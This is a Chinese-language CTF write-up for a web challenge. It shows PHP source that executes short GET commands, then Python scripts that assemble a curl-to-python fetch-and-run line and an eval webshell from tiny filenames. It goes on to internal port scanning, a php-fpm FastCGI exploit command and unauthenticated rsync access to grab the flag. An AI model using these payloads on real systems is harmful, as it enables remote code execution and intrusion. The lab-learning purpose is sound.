ctf473831530_2018_web_virink_web
开局给了提示和源码:
Hint
1. flag is not here (this server)
2. python3
3. 脚本要骚才能 getflag
不准暴力!不准暴力!!不准暴力!!!
Source
<?php
$sandbox = '/www/sandbox/' . md5('orange' . $_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 20) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
echo "<br /> IP : {\$_SERVER['REMOTE_ADDR']}";
?>
根据提示我们要拿到shell然后进行内网渗透
首先是20字符写webshell
通过 https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
我们可以知道通过\的分隔符写shell
import requests from time import sleep from urllib import quote payload = [ # generate <code class="prettyprint" >ls -t>g
file '>ls\\', 'ls>_', '>\ \\', '>-t\\', '>\>g', 'ls>>_', # generatecurl orange.tw|python
'>on', '>th\\', '>py\\', '>\|\\', '>tw\\', '>e.\\', '>ng\\', '>ra\\', '>o\\', '>\ \\', '>rl\\', '>cu\\', # exec 'sh _', 'sh g', ] r = requests.get('http://52.199.204.34/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://52.199.204.34/?cmd=' + quote(i) ) print i sleep(0.2)
根据他给的脚本。我们改一下写一个shell进去
import requests
url = 'http://fe36d40a-54c8-4c37-8ec0-5a480417ae27.node3.buuoj.cn/'
filename = [r'>echo\ \\',
r">\'\<\?php \\",
r'>eval\(',
r'>\$_POST\[c\]\)',
r">\;\'\>2.php"]
for i in filename:
params = {
'cmd': i
}
r = requests.get(url, params=params)
print(i, r.status_code)
cmd = ['ls -tr>1.sh', 'sh 1.sh']
for i in cmd:
params = {
'cmd': i
}
r = requests.get(url, params=params)
print(i, r.status_code)
然后访问/sandbox/xxxx/2.php即可访问webshell
蚁剑连接
一般buu是下一个ip是内网,通过hosts可知本机器
扫描端口发现在.11上发现开放了80,873,9000端口
根据p神的博客
9000对应php-fpm,873对应nsync
先来看一下php-fpm,php-fpm是为了fastcgi而实现的一个php解析器,而fastcgi是一种让客户端(web浏览器)与Web服务器(apache等)程序进行通信(数据传输)的协议,并且fastcgi解决了传统cgi效率低的问题,三者之间大概就是:
首先客户端向服务器发出请求,服务器接受请求,服务器中间件根据fastcgi的协议规则通过TCP传给相应的解析器php-fpm,解析器解析数据返回
如果这个9000端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
原文链接: https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
利用exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
python3 fpm.py 173.211.53.11 /www/redirect.php -c \"<?php system('ls /');?>\"
查看权限发现
flag没有读取权限,使用到873端口rsync未授权访问
参考:https://www.cnblogs.com/leixiao-/p/10227086.html
发现配置文件
根据用法:rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/
执行后拿到flag